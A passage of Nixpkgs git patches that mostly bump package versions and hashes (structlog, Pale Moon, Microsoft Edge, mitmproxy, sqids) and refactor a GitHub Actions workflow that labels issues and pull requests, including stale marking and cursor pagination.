+    install -Dm644 data/org.gaphor.Gaphor.appdata.xml -t $out/share/metainfo/
+    install -Dm644 data/org.gaphor.Gaphor.desktop -t $out/share/applications/
+    install -Dm644 data/org.gaphor.Gaphor.xml -t $out/share/mime/packages/
+    install -Dm644 data/logos/org.gaphor.Gaphor.svg -t $out/share/icons/hicolor/scalable/apps/
+    install -Dm644 data/logos/org.gaphor.Gaphor-symbolic.svg -t $out/share/icons/hicolor/symbolic/apps/
 
-  # Disable automatic wrapGAppsHook4 to prevent double wrapping
+    install -Dm644 data/logos/gaphor-24x24.png $out/share/icons/hicolor/24x24/apps/org.gaphor.Gaphor.png
+    install -Dm644 data/logos/gaphor-48x48.png $out/share/icons/hicolor/48x48/apps/org.gaphor.Gaphor.png
+
+    install -Dm644 gaphor/ui/installschemas/org.gaphor.Gaphor.gschema.xml -t $out/share/glib-2.0/schemas/
+    glib-compile-schemas $out/share/glib-2.0/schemas/
+
+    install -Dm644 data/org.gaphor.Gaphor.service -t $out/share/dbus-1/services/
+    substituteInPlace $out/share/dbus-1/services/org.gaphor.Gaphor.service \
+                      --replace-fail "Exec=/usr/bin/gaphor" "Exec=$out/bin/gaphor"
+  '';
+
+  # Prevent double wrapping
   dontWrapGApps = true;
 
   preFixup = ''
-    makeWrapperArgs+=(
-      "''${gappsWrapperArgs[@]}" \
-      --prefix XDG_DATA_DIRS : "${gtk4}/share/gsettings-schemas/${gtk4.name}/" \
-      --set GDK_PIXBUF_MODULE_FILE "${librsvg.out}/lib/gdk-pixbuf-2.0/2.10.0/loaders.cache"
-    )
+    makeWrapperArgs+=("''${gappsWrapperArgs[@]}")
   '';
 
   passthru = {

From 4293fedd2759aa961d6972913026f6ed8fa6520c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Tue, 3 Jun 2025 16:02:51 -0700
Subject: [PATCH 1959/4511] python3Packages.structlog: 25.3.0 -> 25.4.0

Diff: https://github.com/hynek/structlog/compare/refs/tags/25.3.0...refs/tags/25.4.0

Changelog: https://github.com/hynek/structlog/blob/25.4.0/CHANGELOG.md
(cherry picked from commit 769b0839352fd1593f7648158e670d2e09b6812c)
---
 pkgs/development/python-modules/structlog/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/structlog/default.nix b/pkgs/development/python-modules/structlog/default.nix
index 0750096fec06..d7df69bc30a1 100644
--- a/pkgs/development/python-modules/structlog/default.nix
+++ b/pkgs/development/python-modules/structlog/default.nix
@@ -18,14 +18,14 @@
 
 buildPythonPackage rec {
   pname = "structlog";
-  version = "25.3.0";
+  version = "25.4.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "hynek";
     repo = "structlog";
     tag = version;
-    hash = "sha256-Ve6RBCQ8PJtlN/gzSjj/gxFkJsgcJhlNMAKDybBTx54=";
+    hash = "sha256-iNnUogcICQJvHBZO2J8uk4NleQY/ra3ZzxQgnSRKr30=";
   };
 
   build-system = [

From 86594052d6ae6bf606b88e55fba1ddeccc29d9e3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 2 Jul 2025 21:44:02 +0000
Subject: [PATCH 1960/4511] palemoon-bin: 33.7.2 -> 33.8.0

(cherry picked from commit e9c3571e3b1b5d3a1498ab7b2d88256c43cdb52a)
---
 pkgs/applications/networking/browsers/palemoon/bin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/browsers/palemoon/bin.nix b/pkgs/applications/networking/browsers/palemoon/bin.nix
index 476f8c8d9dbd..f06f97e6cf0a 100644
--- a/pkgs/applications/networking/browsers/palemoon/bin.nix
+++ b/pkgs/applications/networking/browsers/palemoon/bin.nix
@@ -23,7 +23,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "palemoon-bin";
-  version = "33.7.2";
+  version = "33.8.0";
 
   src = finalAttrs.passthru.sources."gtk${if withGTK3 then "3" else "2"}";
 
@@ -174,11 +174,11 @@ stdenv.mkDerivation (finalAttrs: {
       {
         gtk3 = fetchzip {
           urls = urlRegionVariants "gtk3";
-          hash = "sha256-GE45GZ+OmNNwRLTD2pcZpqRA66k4q/+lkQnGJG+z6nQ=";
+          hash = "sha256-cdPFMYlVEr6D+0mH7Mg5nGpf0KvePGLm3Y/ZytdFHHA=";
         };
         gtk2 = fetchzip {
           urls = urlRegionVariants "gtk2";
-          hash = "sha256-yJPmmQ9IkGzort9OPPWzv+LSeJci8VNoso3NLYev51Q=";
+          hash = "sha256-dgWKmkHl5B1ri3uev63MNz/+E767ip9wJ/YzSog8vdQ=";
         };
       };
 

From 817df3d37768dec42338ae0bc7d57b250ef62b7d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 3 Jul 2025 09:11:31 +0000
Subject: [PATCH 1961/4511] microsoft-edge: 138.0.3351.55 -> 138.0.3351.65

(cherry picked from commit 1b4db183b0b71db849a171217aa79b4c2e1e3b22)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 45741183cee2..e928d5608ee1 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -179,11 +179,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "138.0.3351.55";
+  version = "138.0.3351.65";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-SZCtAjhzY8BqwM9IMS2081RWxRT+4gQgrjve7avM7Bo=";
+    hash = "sha256-+8bV3pwoYvp4e0eJHj5/NSu15QiFwVJuGxFJkS76gwI=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From e827afd8d9765314409b7bbf6c3a4db5e19a1297 Mon Sep 17 00:00:00 2001
From: misilelab <misileminecord@gmail.com>
Date: Tue, 27 May 2025 01:24:58 +0900
Subject: [PATCH 1962/4511] mitmproxy: 12.0.1 -> 12.1.1

https://github.com/mitmproxy/mitmproxy/blob/v12.1.1/CHANGELOG.md

Signed-off-by: misilelab <misileminecord@gmail.com>
(cherry picked from commit 3fc5420e5f82b4a29c62f959a238e30863d33ddc)
---
 pkgs/development/python-modules/mitmproxy/default.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/python-modules/mitmproxy/default.nix b/pkgs/development/python-modules/mitmproxy/default.nix
index 68faebc6033b..8db9550256a3 100644
--- a/pkgs/development/python-modules/mitmproxy/default.nix
+++ b/pkgs/development/python-modules/mitmproxy/default.nix
@@ -15,7 +15,6 @@
   hypothesis,
   kaitaistruct,
   ldap3,
-  mitmproxy-linux,
   mitmproxy-rs,
   msgpack,
   passlib,
@@ -31,7 +30,6 @@
   ruamel-yaml,
   setuptools,
   sortedcontainers,
-  stdenv,
   tornado,
   urwid,
   wsproto,
@@ -40,14 +38,14 @@
 
 buildPythonPackage rec {
   pname = "mitmproxy";
-  version = "12.0.1";
+  version = "12.1.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "mitmproxy";
     repo = "mitmproxy";
     tag = "v${version}";
-    hash = "sha256-BKT/qBWlfShAveL1KY5XXgQjhxR3Vr4zoJwiRxtBJkE=";
+    hash = "sha256-RTHL5+lbR+AbkiE4+z4ZbxZSV2E4NGTmShbMIMRKJPA=";
   };
 
   pythonRelaxDeps = [
@@ -55,6 +53,7 @@ buildPythonPackage rec {
     "h2"
     "passlib"
     "typing-extensions" # https://github.com/NixOS/nixpkgs/pull/397082
+    "tornado"
   ];
 
   build-system = [ setuptools ];

From 68372abb4523a1d404fa34c956da1e75ab8af224 Mon Sep 17 00:00:00 2001
From: Nicolas Benes <nbenes.gh@xandea.de>
Date: Mon, 19 May 2025 22:33:31 +0200
Subject: [PATCH 1963/4511] python3Packages.sqids: 0.5.1 -> 0.5.2

https://github.com/sqids/sqids-python/releases/tag/v0.5.2
(cherry picked from commit 271329609a3d6f63182f2871465af3518b9b28b5)
---
 pkgs/development/python-modules/sqids/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/sqids/default.nix b/pkgs/development/python-modules/sqids/default.nix
index c398c844dc5f..46d9bb62c533 100644
--- a/pkgs/development/python-modules/sqids/default.nix
+++ b/pkgs/development/python-modules/sqids/default.nix
@@ -10,14 +10,14 @@
 
 buildPythonPackage rec {
   pname = "sqids";
-  version = "0.5.1";
+  version = "0.5.2";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-1p0GtQTlvm/pUjyLtWEEzdBxw56pYAgxLz2xA4sfCL4=";
+    hash = "sha256-WsCPDFybaBS8Lnx57lkx4ISdJdlcUOQVdxsCKkT1ivk=";
   };
 
   build-system = [ setuptools-scm ];

From f64037b2c979019a77247b8aa7bea5ddb945c6a6 Mon Sep 17 00:00:00 2001
From: Brian McGillion <bmg.avoin@gmail.com>
Date: Thu, 19 Jun 2025 07:11:35 +0400
Subject: [PATCH 1964/4511] python3Packages.mitmproxy: Fix broken build

Fixes: #418030

Relax dependencies

Signed-off-by: Brian McGillion <bmg.avoin@gmail.com>
(cherry picked from commit 98702f22b1209825a960d3366fdeb66b77cb0f8c)
---
 pkgs/development/python-modules/mitmproxy/default.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/mitmproxy/default.nix b/pkgs/development/python-modules/mitmproxy/default.nix
index 8db9550256a3..2632ecf82108 100644
--- a/pkgs/development/python-modules/mitmproxy/default.nix
+++ b/pkgs/development/python-modules/mitmproxy/default.nix
@@ -49,10 +49,11 @@ buildPythonPackage rec {
   };
 
   pythonRelaxDeps = [
-    "h11" # https://github.com/NixOS/nixpkgs/pull/399393
+    "cryptography"
+    "flask"
     "h2"
     "passlib"
-    "typing-extensions" # https://github.com/NixOS/nixpkgs/pull/397082
+    "pyopenssl"
     "tornado"
   ];
 

From fb77037d0346ee0866cc0496b7b836d0238cb558 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 2 Jul 2025 16:36:58 +0200
Subject: [PATCH 1965/4511] Reapply "workflows/labels: label stale issues"

This reverts commit c18e94361ef21171c48522142adfbb1081be90bf.

(cherry picked from commit 23a32c9445d4d82448f4173ba00a2995df347d4b)
---
 .github/stale.yml            |   9 --
 .github/workflows/labels.yml | 300 ++++++++++++++++++-----------------
 2 files changed, 156 insertions(+), 153 deletions(-)
 delete mode 100644 .github/stale.yml

diff --git a/.github/stale.yml b/.github/stale.yml
deleted file mode 100644
index d6134c7ce112..000000000000
--- a/.github/stale.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-# Configuration for probot-stale - https://github.com/probot/stale
-daysUntilStale: 180
-daysUntilClose: false
-exemptLabels:
-  - "1.severity: security"
-  - "2.status: never-stale"
-staleLabel: "2.status: stale"
-markComment: false
-closeComment: false
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index d84f49b5895c..e61615091486 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -27,10 +27,8 @@ concurrency:
 
 # This is used as fallback without app only.
 # This happens when testing in forks without setting up that app.
-# Labels will most likely not exist in forks, yet. For this case,
-# we add the issues permission only here.
 permissions:
-  issues: write # needed to create *new* labels
+  issues: write
   pull-requests: write
 
 defaults:
@@ -52,8 +50,7 @@ jobs:
         with:
           app-id: ${{ vars.NIXPKGS_CI_APP_ID }}
           private-key: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }}
-          # No issues: write permission here, because labels in Nixpkgs should
-          # be created explicitly via the UI with color and description.
+          permission-issues: write
           permission-pull-requests: write
 
       - name: Log current API rate limits
@@ -75,6 +72,7 @@ jobs:
             const artifactClient = new DefaultArtifactClient()
 
             const stats = {
+              issues: 0,
               prs: 0,
               requests: 0,
               artifacts: 0
@@ -123,6 +121,125 @@ jobs:
             // Update remaining requests every minute to account for other jobs running in parallel.
             const reservoirUpdater = setInterval(updateReservoir, 60 * 1000)
 
+            async function handlePullRequest(item) {
+              const log = (k,v) => core.info(`PR #${item.number} - ${k}: ${v}`)
+
+              const pull_number = item.number
+
+              // This API request is important for the merge-conflict label, because it triggers the
+              // creation of a new test merge commit. This is needed to actually determine the state of a PR.
+              const pull_request = (await github.rest.pulls.get({
+                ...context.repo,
+                pull_number
+              })).data
+
+              const approvals = new Set(
+                (await github.paginate(github.rest.pulls.listReviews, {
+                  ...context.repo,
+                  pull_number
+                }))
+                .filter(review => review.state == 'APPROVED')
+                .map(review => review.user?.id)
+              )
+
+              // After creation of a Pull Request, `merge_commit_sha` will be null initially:
+              // The very first merge commit will only be calculated after a little while.
+              // To avoid labeling the PR as conflicted before that, we wait a few minutes.
+              // This is intentionally less than the time that Eval takes, so that the label job
+              // running after Eval can indeed label the PR as conflicted if that is the case.
+              const merge_commit_sha_valid = new Date() - new Date(pull_request.created_at) > 3 * 60 * 1000
+
+              const prLabels = {
+                // We intentionally don't use the mergeable or mergeable_state attributes.
+                // Those have an intermediate state while the test merge commit is created.
+                // This doesn't work well for us, because we might have just triggered another
+                // test merge commit creation by request the pull request via API at the start
+                // of this function.
+                // The attribute merge_commit_sha keeps the old value of null or the hash *until*
+                // the new test merge commit has either successfully been created or failed so.
+                // This essentially means we are updating the merge conflict label in two steps:
+                // On the first pass of the day, we just fetch the pull request, which triggers
+                // the creation. At this stage, the label is likely not updated, yet.
+                // The second pass will then read the result from the first pass and set the label.
+                '2.status: merge conflict': merge_commit_sha_valid && !pull_request.merge_commit_sha,
+                '12.approvals: 1': approvals.size == 1,
+                '12.approvals: 2': approvals.size == 2,
+                '12.approvals: 3+': approvals.size >= 3,
+                '12.first-time contribution':
+                  [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association),
+              }
+
+              const run_id = (await github.rest.actions.listWorkflowRuns({
+                ...context.repo,
+                workflow_id: 'pr.yml',
+                event: 'pull_request_target',
+                exclude_pull_requests: true,
+                head_sha: pull_request.head.sha
+              })).data.workflow_runs[0]?.id ??
+                // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired.
+                (await github.rest.actions.listWorkflowRuns({
+                  ...context.repo,
+                  // In older PRs, we need eval.yml instead of pr.yml.
+                  workflow_id: 'eval.yml',
+                  event: 'pull_request_target',
+                  status: 'success',
+                  exclude_pull_requests: true,
+                  head_sha: pull_request.head.sha
+                })).data.workflow_runs[0]?.id
+
+              // Newer PRs might not have run Eval to completion, yet.
+              // Older PRs might not have an eval.yml workflow, yet.
+              // In either case we continue without fetching an artifact on a best-effort basis.
+              log('Last eval run', run_id ?? '<n/a>')
+
+              const artifact = run_id && (await github.rest.actions.listWorkflowRunArtifacts({
+                ...context.repo,
+                run_id,
+                name: 'comparison'
+              })).data.artifacts[0]
+
+              // Instead of checking the boolean artifact.expired, we will give us a minute to
+              // actually download the artifact in the next step and avoid that race condition.
+              // Older PRs, where the workflow run was already eval.yml, but the artifact was not
+              // called "comparison", yet, will skip the download.
+              const expired = !artifact || new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)
+              log('Artifact expires at', artifact?.expires_at ?? '<n/a>')
+              if (!expired) {
+                stats.artifacts++
+
+                await artifactClient.downloadArtifact(artifact.id, {
+                  findBy: {
+                    repositoryName: context.repo.repo,
+                    repositoryOwner: context.repo.owner,
+                    token: core.getInput('github-token')
+                  },
+                  path: path.resolve(pull_number.toString()),
+                  expectedHash: artifact.digest
+                })
+
+                const maintainers = new Set(Object.keys(
+                  JSON.parse(await readFile(`${pull_number}/maintainers.json`, 'utf-8'))
+                ).map(m => Number.parseInt(m, 10)))
+
+                const evalLabels = JSON.parse(await readFile(`${pull_number}/changed-paths.json`, 'utf-8')).labels
+
+                Object.assign(
+                  prLabels,
+                  // Ignore `evalLabels` if it's an array.
+                  // This can happen for older eval runs, before we switched to objects.
+                  // The old eval labels would have been set by the eval run,
+                  // so now they'll be present in `before`.
+                  // TODO: Simplify once old eval results have expired (~2025-10)
+                  (Array.isArray(evalLabels) ? undefined : evalLabels),
+                  {
+                    '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)),
+                  }
+                )
+              }
+
+              return prLabels
+            }
+
             async function handle(item) {
               try {
                 const log = (k,v,skip) => {
@@ -131,87 +248,19 @@ jobs:
                 }
 
                 log('Last updated at', item.updated_at)
-                stats.prs++
                 log('URL', item.html_url)
 
-                const pull_number = item.number
                 const issue_number = item.number
 
-                // This API request is important for the merge-conflict label, because it triggers the
-                // creation of a new test merge commit. This is needed to actually determine the state of a PR.
-                const pull_request = (await github.rest.pulls.get({
-                  ...context.repo,
-                  pull_number
-                })).data
+                const itemLabels = {}
 
-                const run_id = (await github.rest.actions.listWorkflowRuns({
-                  ...context.repo,
-                  workflow_id: 'pr.yml',
-                  event: 'pull_request_target',
-                  exclude_pull_requests: true,
-                  head_sha: pull_request.head.sha
-                })).data.workflow_runs[0]?.id ??
-                  // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired.
-                  (await github.rest.actions.listWorkflowRuns({
-                    ...context.repo,
-                    // In older PRs, we need eval.yml instead of pr.yml.
-                    workflow_id: 'eval.yml',
-                    event: 'pull_request_target',
-                    status: 'success',
-                    exclude_pull_requests: true,
-                    head_sha: pull_request.head.sha
-                  })).data.workflow_runs[0]?.id
-
-                // Newer PRs might not have run Eval to completion, yet.
-                // Older PRs might not have an eval.yml workflow, yet.
-                // In either case we continue without fetching an artifact on a best-effort basis.
-                log('Last eval run', run_id ?? '<n/a>')
-
-                const artifact = run_id && (await github.rest.actions.listWorkflowRunArtifacts({
-                  ...context.repo,
-                  run_id,
-                  name: 'comparison'
-                })).data.artifacts[0]
-
-                // Instead of checking the boolean artifact.expired, we will give us a minute to
-                // actually download the artifact in the next step and avoid that race condition.
-                // Older PRs, where the workflow run was already eval.yml, but the artifact was not
-                // called "comparison", yet, will skip the download.
-                const expired = !artifact || new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)
-                log('Artifact expires at', artifact?.expires_at ?? '<n/a>')
-                if (!expired) {
-                  stats.artifacts++
-
-                  await artifactClient.downloadArtifact(artifact.id, {
-                    findBy: {
-                      repositoryName: context.repo.repo,
-                      repositoryOwner: context.repo.owner,
-                      token: core.getInput('github-token')
-                    },
-                    path: path.resolve(pull_number.toString()),
-                    expectedHash: artifact.digest
-                  })
+                if (item.pull_request) {
+                  stats.prs++
+                  Object.assign(itemLabels, await handlePullRequest(item))
+                } else {
+                  stats.issues++
                 }
 
-                // Create a map (Label -> Boolean) of all currently set labels.
-                // Each label is set to True and can be disabled later.
-                const before = Object.fromEntries(
-                  (await github.paginate(github.rest.issues.listLabelsOnIssue, {
-                    ...context.repo,
-                    issue_number
-                  }))
-                  .map(({ name }) => [name, true])
-                )
-
-                const approvals = new Set(
-                  (await github.paginate(github.rest.pulls.listReviews, {
-                    ...context.repo,
-                    pull_number
-                  }))
-                  .filter(review => review.state == 'APPROVED')
-                  .map(review => review.user?.id)
-                )
-
                 const latest_event_at = new Date(
                   (await github.paginate(
                     github.rest.issues.listEventsForTimeline,
@@ -250,60 +299,21 @@ jobs:
 
                 const stale_at = new Date(new Date().setDate(new Date().getDate() - 180))
 
-                // After creation of a Pull Request, `merge_commit_sha` will be null initially:
-                // The very first merge commit will only be calculated after a little while.
-                // To avoid labeling the PR as conflicted before that, we wait a few minutes.
-                // This is intentionally less than the time that Eval takes, so that the label job
-                // running after Eval can indeed label the PR as conflicted if that is the case.
-                const merge_commit_sha_valid = new Date() - new Date(pull_request.created_at) > 3 * 60 * 1000
-
-                // Manage most of the labels, without eval results
-                const after = Object.assign(
-                  {},
-                  before,
-                  {
-                    // We intentionally don't use the mergeable or mergeable_state attributes.
-                    // Those have an intermediate state while the test merge commit is created.
-                    // This doesn't work well for us, because we might have just triggered another
-                    // test merge commit creation by request the pull request via API at the start
-                    // of this function.
-                    // The attribute merge_commit_sha keeps the old value of null or the hash *until*
-                    // the new test merge commit has either successfully been created or failed so.
-                    // This essentially means we are updating the merge conflict label in two steps:
-                    // On the first pass of the day, we just fetch the pull request, which triggers
-                    // the creation. At this stage, the label is likely not updated, yet.
-                    // The second pass will then read the result from the first pass and set the label.
-                    '2.status: merge conflict': merge_commit_sha_valid && !pull_request.merge_commit_sha,
-                    '2.status: stale': !before['1.severity: security'] && latest_event_at < stale_at,
-                    '12.approvals: 1': approvals.size == 1,
-                    '12.approvals: 2': approvals.size == 2,
-                    '12.approvals: 3+': approvals.size >= 3,
-                    '12.first-time contribution':
-                      [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association),
-                  }
+                // Create a map (Label -> Boolean) of all currently set labels.
+                // Each label is set to True and can be disabled later.
+                const before = Object.fromEntries(
+                  (await github.paginate(github.rest.issues.listLabelsOnIssue, {
+                    ...context.repo,
+                    issue_number
+                  }))
+                  .map(({ name }) => [name, true])
                 )
 
-                // Manage labels based on eval results
-                if (!expired) {
-                  const maintainers = new Set(Object.keys(
-                    JSON.parse(await readFile(`${pull_number}/maintainers.json`, 'utf-8'))
-                  ).map(m => Number.parseInt(m, 10)))
+                Object.assign(itemLabels, {
+                  '2.status: stale': !before['1.severity: security'] && latest_event_at < stale_at,
+                })
 
-                  const evalLabels = JSON.parse(await readFile(`${pull_number}/changed-paths.json`, 'utf-8')).labels
-
-                  Object.assign(
-                    after,
-                    // Ignore `evalLabels` if it's an array.
-                    // This can happen for older eval runs, before we switched to objects.
-                    // The old eval labels would have been set by the eval run,
-                    // so now they'll be present in `before`.
-                    // TODO: Simplify once old eval results have expired (~2025-10)
-                    (Array.isArray(evalLabels) ? undefined : evalLabels),
-                    {
-                      '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)),
-                    }
-                  )
-                }
+                const after = Object.assign({}, before, itemLabels)
 
                 // No need for an API request, if all labels are the same.
                 const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name])
@@ -349,7 +359,6 @@ jobs:
                   {
                     q: [
                       `repo:"${process.env.GITHUB_REPOSITORY}"`,
-                      'type:pr',
                       'is:open',
                       `updated:>=${cutoff.toISOString()}`
                     ].join(' AND '),
@@ -359,13 +368,11 @@ jobs:
                 )
 
                 // The search endpoint only allows fetching the first 1000 records, but the
-                // pull request list endpoint does not support counting the total number
-                // of results.
-                // Thus, we use /search for counting and /pulls for reading the response.
-                const { total_count: total_pulls } = (await github.rest.search.issuesAndPullRequests({
+                // list endpoints do not support counting the total number of results.
+                // Thus, we use /search for counting and /issues for reading the response.
+                const { total_count: total_items } = (await github.rest.search.issuesAndPullRequests({
                   q: [
                     `repo:"${process.env.GITHUB_REPOSITORY}"`,
-                    'type:pr',
                     'is:open'
                   ].join(' AND '),
                   sort: 'created',
@@ -376,32 +383,37 @@ jobs:
                 })).data
                 const { total_count: total_runs } = workflowData
 
-                const allPulls = (await github.rest.pulls.list({
+                // From GitHub's API docs:
+                //   GitHub's REST API considers every pull request an issue, but not every issue is a pull request.
+                //   For this reason, "Issues" endpoints may return both issues and pull requests in the response.
+                //   You can identify pull requests by the pull_request key.
+                const allItems = (await github.rest.issues.listForRepo({
                   ...context.repo,
                   state: 'open',
                   sort: 'created',
                   direction: 'asc',
                   per_page: 100,
-                  // We iterate through pages of 100 items across scheduled runs. With currently ~7000 open PRs and
-                  // up to 6*24=144 scheduled runs per day, we hit every PR twice each day.
-                  // We might not hit every PR on one iteration, because the pages will shift slightly when
-                  // PRs are closed or merged. We assume this to be OK on the bigger scale, because a PR which was
+                  // We iterate through pages of 100 items across scheduled runs. With currently ~7000 open PRs,
+                  // 10000 open Issues and up to 6*24=144 scheduled runs per day, we hit every items a little less
+                  // than once a day.
+                  // We might not hit every item on one iteration, because the pages will shift slightly when
+                  // items are closed or merged. We assume this to be OK on the bigger scale, because an item which was
                   // missed once, would have to move through the whole page to be missed again. This is very unlikely,
                   // so it should certainly be hit on the next iteration.
                   // TODO: Evaluate after a while, whether the above holds still true and potentially implement
                   // an overlap between runs.
-                  page: (total_runs % Math.ceil(total_pulls / 100)) + 1
+                  page: (total_runs % Math.ceil(total_items / 100)) + 1
                 })).data
 
                 // Some items might be in both search results, so filtering out duplicates as well.
-                const items = [].concat(updatedItems, allPulls)
+                const items = [].concat(updatedItems, allItems)
                   .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number))
 
                 ;(await Promise.allSettled(items.map(handle)))
                   .filter(({ status }) => status == 'rejected')
                   .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
 
-                core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
+                core.notice(`Processed ${stats.prs} PRs, ${stats.issues} Issues, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
               }
             } finally {
               clearInterval(reservoirUpdater)

From 013a07e85c07decd71327b4b8726897c64e47751 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 2 Jul 2025 17:53:28 +0200
Subject: [PATCH 1966/4511] workflows/labels: paginate with cursor

Pagination via cursor is required above 10k items. To do so, we store
the current cursor as an artifact and read it back in in the next
scheduled run.

(cherry picked from commit 06a88df6207a8337835e2b7f816305e2df943477)
---
 .github/workflows/labels.yml | 91 +++++++++++++++++++++++-------------
 1 file changed, 59 insertions(+), 32 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index e61615091486..a226193233fb 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -67,7 +67,7 @@ jobs:
             const Bottleneck = require('bottleneck')
             const path = require('node:path')
             const { DefaultArtifactClient } = require('@actions/artifact')
-            const { readFile } = require('node:fs/promises')
+            const { readFile, writeFile } = require('node:fs/promises')
 
             const artifactClient = new DefaultArtifactClient()
 
@@ -339,19 +339,19 @@ jobs:
               if (context.payload.pull_request) {
                 await handle(context.payload.pull_request)
               } else {
-                const workflowData = (await github.rest.actions.listWorkflowRuns({
+                const lastRun = (await github.rest.actions.listWorkflowRuns({
                   ...context.repo,
                   workflow_id: 'labels.yml',
                   event: 'schedule',
                   status: 'success',
                   exclude_pull_requests: true,
                   per_page: 1
-                })).data
+                })).data.workflow_runs[0]
 
                 // Go back as far as the last successful run of this workflow to make sure
                 // we are not leaving anyone behind on GHA failures.
                 // Defaults to go back 1 hour on the first run.
-                const cutoff = new Date(workflowData.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000)
+                const cutoff = new Date(lastRun?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000)
                 core.info('cutoff timestamp: ' + cutoff.toISOString())
 
                 const updatedItems = await github.paginate(
@@ -367,46 +367,73 @@ jobs:
                   }
                 )
 
-                // The search endpoint only allows fetching the first 1000 records, but the
-                // list endpoints do not support counting the total number of results.
-                // Thus, we use /search for counting and /issues for reading the response.
-                const { total_count: total_items } = (await github.rest.search.issuesAndPullRequests({
-                  q: [
-                    `repo:"${process.env.GITHUB_REPOSITORY}"`,
-                    'is:open'
-                  ].join(' AND '),
-                  sort: 'created',
-                  direction: 'asc',
-                  // TODO: Remove in 2025-10, when it becomes the default.
-                  advanced_search: true,
-                  per_page: 1
-                })).data
-                const { total_count: total_runs } = workflowData
+                let cursor
+
+                // No workflow run available the first time.
+                if (lastRun) {
+                  // The cursor to iterate through the full list of issues and pull requests
+                  // is passed between jobs as an artifact.
+                  const artifact = (await github.rest.actions.listWorkflowRunArtifacts({
+                    ...context.repo,
+                    run_id: lastRun.id,
+                    name: 'pagination-cursor'
+                  })).data.artifacts[0]
+
+                  // If the artifact is not available, the next iteration starts at the beginning.
+                  if (artifact) {
+                    stats.artifacts++
+
+                    const { downloadPath } = await artifactClient.downloadArtifact(artifact.id, {
+                      findBy: {
+                        repositoryName: context.repo.repo,
+                        repositoryOwner: context.repo.owner,
+                        token: core.getInput('github-token')
+                      },
+                      expectedHash: artifact.digest
+                    })
+
+                    cursor = await readFile(path.resolve(downloadPath, 'cursor'), 'utf-8')
+                  }
+                }
 
                 // From GitHub's API docs:
                 //   GitHub's REST API considers every pull request an issue, but not every issue is a pull request.
                 //   For this reason, "Issues" endpoints may return both issues and pull requests in the response.
                 //   You can identify pull requests by the pull_request key.
-                const allItems = (await github.rest.issues.listForRepo({
+                const allItems = await github.rest.issues.listForRepo({
                   ...context.repo,
                   state: 'open',
                   sort: 'created',
                   direction: 'asc',
                   per_page: 100,
-                  // We iterate through pages of 100 items across scheduled runs. With currently ~7000 open PRs,
-                  // 10000 open Issues and up to 6*24=144 scheduled runs per day, we hit every items a little less
-                  // than once a day.
-                  // We might not hit every item on one iteration, because the pages will shift slightly when
-                  // items are closed or merged. We assume this to be OK on the bigger scale, because an item which was
-                  // missed once, would have to move through the whole page to be missed again. This is very unlikely,
-                  // so it should certainly be hit on the next iteration.
-                  // TODO: Evaluate after a while, whether the above holds still true and potentially implement
-                  // an overlap between runs.
-                  page: (total_runs % Math.ceil(total_items / 100)) + 1
-                })).data
+                  after: cursor
+                })
+
+                // Regex taken and comment adjusted from:
